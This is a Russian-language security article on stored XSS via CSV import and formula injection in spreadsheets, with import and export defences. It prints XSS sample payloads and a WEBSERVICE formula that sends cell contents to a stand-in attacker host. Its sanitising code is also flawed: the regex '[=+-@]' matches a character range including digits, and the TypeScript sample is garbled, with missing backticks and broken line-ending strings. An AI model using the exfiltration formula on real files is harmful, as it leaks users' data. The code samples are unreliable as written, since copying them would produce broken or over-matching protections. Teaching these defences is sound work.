CSV кажутся безопасными: простые строки, запятые, никаких скриптов. Но именно эта простота и расслабляет. На деле CSV — удобный транспорт для вредоносного контента, который «взрывается» уже на стороне потребителя: в вашем веб-интерфейсе, при открытии файла в Excel/Google Sheets или при последующей конвертации в HTML. В этой статье разбираем, как возникают XSS и формульные инъекции из-за CSV, чем это опасно в реальных продуктах и как закрыть проблему на импорте и экспорте, не ломая UX.
Почему «обычный CSV» — не такой уж и обычный
CSV — это всего лишь текстовый формат таблиц, формализованный рекомендацией RFC 4180 : запятые разделяют поля, кавычки экранируют содержимое, переносы строк отделяют записи. Проблема в том, что CSV — это не конечная точка. Его почти всегда кто-то импортирует или открывает в программах, которые умеют делать больше, чем просто показывать текст.
- Веб-приложения читают CSV и сохраняют поля в БД. Если дальше эти поля выводятся в HTML без безопасного кодирования, вы получаете классическую хранимую XSS. Для тех, кто хочет системный взгляд на предотвращение XSS, полезен OWASP XSS Prevention Cheat Sheet .
- Табличные редакторы (Excel, LibreOffice, Google Sheets) при открытии CSV могут интерпретировать данные как формулы. Это и есть «CSV/Formula Injection»: если я положу в CSV строку, начинающуюся с
=
,+
,-
или@
, редактор попытается вычислить выражение. См. страницу OWASP: CSV Injection .
В результате одно и то же поле «Имя клиента» может превратиться то в кусок HTML-скрипта в вашем UI, то в формулу, которая уйдёт в интернет за «данными» к серверу злоумышленника. Последнее часто делают через функции вроде WEBSERVICE и связанные веб-функции Excel, перечисленные здесь .
Две основные линии атаки
1) Хранимая XSS через импорт CSV в веб-приложение
Сценарий знакомый: у вас есть импорт клиентов/товаров/тикетов из CSV. Вы прогоняете файл через библиотеку, мапите колонки к полям и пишете в БД. Дальше карточка клиента выводится в админке, и если там напрямую попадает строка из CSV, любой HTML или JavaScript оживает.
name,email,notes "Иван Петров","ivan@example.com","<img src=x onerror=alert('XSS')>"
Если поле notes
потом рендерится как HTML без кодирования сущностей, это моментальный триггер XSS. Вариантов много: от кражи сессии до подмены банковских реквизитов в админке.
2) Формульная инъекция (Formula/CSV Injection) при открытии CSV
Здесь CSV сам по себе «чистый», но табличный редактор видит формулу и выполняет её. Классический пример — обращение к внешнему URL для эксфильтрации данных из соседних ячеек, объединения строк и т. п.
name,account,comment "Alice","A-001","=WEBSERVICE(""https://attacker.example/collect?note="" & ENCODEURL(A1))"
Открыв такой CSV, Excel на Windows попытается вычислить формулу (подробнее о функции см. документацию WEBSERVICE ). Даже если политика безопасности запретит сетевые вызовы или спросит подтверждение, уже сам факт интерпретации данных как формулы — риск. Сводка по типичным проявлениям есть у OWASP .
Репрод: как проверить у себя (безопасно)
Чтобы понять, уязвим ли ваш импорт/экспорт, не нужны сложные стенды. Достаточно пары файлов и локального тестового окружения.
Проверка импорта (XSS)
- Подготовьте CSV с HTML в произвольном текстовом поле:
title,description "Тест","<svg onload=alert(document.domain)>"
- Импортируйте файл в тестовую среду.
- Откройте страницу, где выводится поле
description
. Если всплывает алерт — у вас отсутствует безопасное кодирование при выводе.
Проверка экспорта (формульная инъекция)
- Создайте запись в системе, у которой одно поле начинается с
=
,+
,-
или@
, например:=HYPERLINK("https://example.com","hi")
- Сделайте экспорт в CSV и откройте файл в Excel/LibreOffice/Sheets (на отдельной машине/VM).
- Если ячейка интерпретируется как формула — экспорт небезопасен. Поведение разных редакторов отличается, но общий принцип описан у OWASP .
Почему кавычки и «валидный CSV» не спасают
Многие надеются на «правильный» экспорт (кавычки, экранирование, RFC 4180) — и это важно, но не решает проблему интерпретации. Формула остаётся формулой, даже если она корректно заквотирована. RFC 4180 описывает только формат и MIME-тип text/csv
— он ничего не говорит об исполнении формул при открытии файла редактором. См. сам текст RFC 4180 .
Стратегии защиты: импорт
С импортом всё относительно прямолинейно: мы принимаем непроверенный текст и дальше выводим его в HTML. Значит, нужно одновременно проверять схему данных и безопасно кодировать вывод.
Политика ввода
- Явные схемы и типы: для каждой колонки задайте тип (строка/число/дата) и ограничения длины/набора символов.
- Фильтруйте управляющие символы: запретите необязательные символы управления, нулевые байты, невидимые разделители.
- Нормализуйте переносы и кодировку: приводите всё к UTF-8, CRLF → LF и т. п. (подробности формата — в RFC 4180 ).
Безопасный вывод (обязательно)
Где бы вы ни показывали пользовательский текст (страницы, письма, PDF) — кодируйте вывод под контекст. Для HTML это превращение специальных символов в сущности; для атрибутов — ещё аккуратнее. Практическое руководство — OWASP XSS Prevention Cheat Sheet .
Пример: минимальная нейтрализация при импорте
Иногда бизнес требует «не ломать данные», а просто безопасно их хранить и потом выводить. Нейтрализовать формулы на уровне хранения можно так: если строка начинается с опасного префикса, добавьте апостроф. Табличные редакторы покажут текст, а не формулу.
# Python import re DANGEROUS_PREFIX = re.compile(r'^[=+-@]') def neutralize_cell(value: str) -> str: if value is None: return value s = str(value) return "'" + s if DANGEROUS_PREFIX.match(s) else s
Важно: это не замена безопасному кодированию при выводе. Это защита от «сюрпризов» при последующем экспорте/открытии в Excel.
Стратегии защиты: экспорт
Экспорт — главный источник формульных инъекций. Здесь задача — не допустить, чтобы потребитель файла неверно интерпретировал данные.
Базовые правила экспорта CSV
- Нейтрализуйте формулы: если поле начинается с
=
,+
,-
или@
, добавьте лидирующий апостроф'
или пробел/табуляцию. Апостроф — обычно лучший вариант, потому что явно помечает «текст, а не формулу» (поведение в Excel описано в справке Microsoft по отображению чисел как текста; см. разделы про апостроф, например в статьях по форматированию чисел в текст). - Кодируйте CSV правильно: кавычки внутри поля удваивайте, поля с запятыми/переносами берите в кавычки. MIME-тип
text/csv
, см. RFC 4180 . - Отдавайте как вложение: добавляйте заголовок
Content-Disposition: attachment
, чтобы браузер не пытался рендерить CSV как HTML-страницу. - Рассмотрите экспорт в XLSX: библиотеки позволяют жёстко задать тип ячейки как «текст», исключая интерпретацию формул. Это упрощает жизнь пользователям Excel.
Пример на Node.js/TypeScript
// Нейтрализуем формулы перед сериализацией в CSV const DANGEROUS = /^[=+-@]/;
function safeCell(v: unknown): string {
if (v === null || v === undefined) return '';
const s = String(v);
return DANGEROUS.test(s) ? '${s} : s;
}
// Пример сериализации массива объектов
function toCsv(rows: Array>): string {
if (!rows.length) return '';
const headers = Object.keys(rows[0]);
const escape = (x: string) => "${x.replace(/"/g, '""')}";
const body = rows.map(r =>
headers.map(h => escape(safeCell(r[h]))).join(',')
).join('r
');
return headers.join(',') + 'r
' + body + 'r
';
}
Про процессы: где ловить и как не пропускать
- Контракт на уровень домена: договоритесь с владельцами продукта, что «значение, начинающееся с
= + - @
», считается потенциально опасным и подлежит нейтрализации при экспорте. - Юнит-тесты: добавьте тесты на то, что экспорт превращает
=1+1
в'=1+1
. - Регулярные сканы: при импорте логируйте срабатывания «опасного префикса», чтобы понимать масштаб проблемы в данных.
- Документация для пользователей: объясните, почему номера, начинающиеся с «+», в выгрузке выглядят как
'+7…
. Это не баг, а защита.
Частые вопросы
«У нас пользователи действительно вводят строки с “+”. Мы сломаем их данные?»
Нет, вы не меняете значение — вы подсказываете редактору, что это текст, а не формула. Excel традиционно понимает апостроф как «показать как есть» (подробности поведения см. в официальной справке Excel по работе с текстовым форматом; полезны также обзоры веб-функций Excel: reference и страница функции WEBSERVICE ).
«А если мы просто процитируем поля по RFC 4180?»
Это нужно, но недостаточно. Кавычки не мешают Excel вычислить формулу при открытии. Смотрите OWASP: CSV Injection .
«Мы не используем Excel, только Google Sheets»
Браузерные редакторы тоже интерпретируют формулы. Детали различаются по функциям и политике безопасности, но общий риск сохраняется (см. обзор OWASP и классификацию уязвимости в MITRE CWE-1236 ).
Шпаргалка (коротко)
- Импортируете CSV → валидируйте по схеме, чистите управляющие символы, всегда кодируйте вывод под HTML-контекст ( OWASP Cheat Sheet ).
- Экспортируете CSV → нейтрализуйте ячейки, начинающиеся на
= + - @
, добавляя апостроф перед значением; корректно экранируйте CSV; отдавайте как вложение; подумайте про XLSX с типами ячеек. - Тестируйте: положите
<svg onload=alert(1)>
в импорт и=1+1
в экспорт — убедитесь, что ни там, ни там ничего «не исполняется». - Зашивайте правила в код и контракты продукта, а не только в «памятку для операторов».
Для углубления
- OWASP: CSV/Formula Injection
- RFC 4180: формат CSV и MIME-тип text/csv
- Excel: функция WEBSERVICE (пример того, почему формулы в CSV — это не «просто текст»)
- OWASP XSS Prevention Cheat Sheet и DOM-based XSS Cheat Sheet
- MITRE CWE-1236: Improper Neutralization of Formula Elements
Итог
CSV — удобный формат обмена, но не «безопасная зона». Если ваши процессы включают импорт/экспорт таблиц, относитесь к ним как к полноценному входу/выходу пользовательских данных. Нейтрализуйте формулы на экспорте, кодируйте вывод на фронте, валидируйте на импорте — и CSV перестанет быть тихим маршрутом для XSS и инъекций.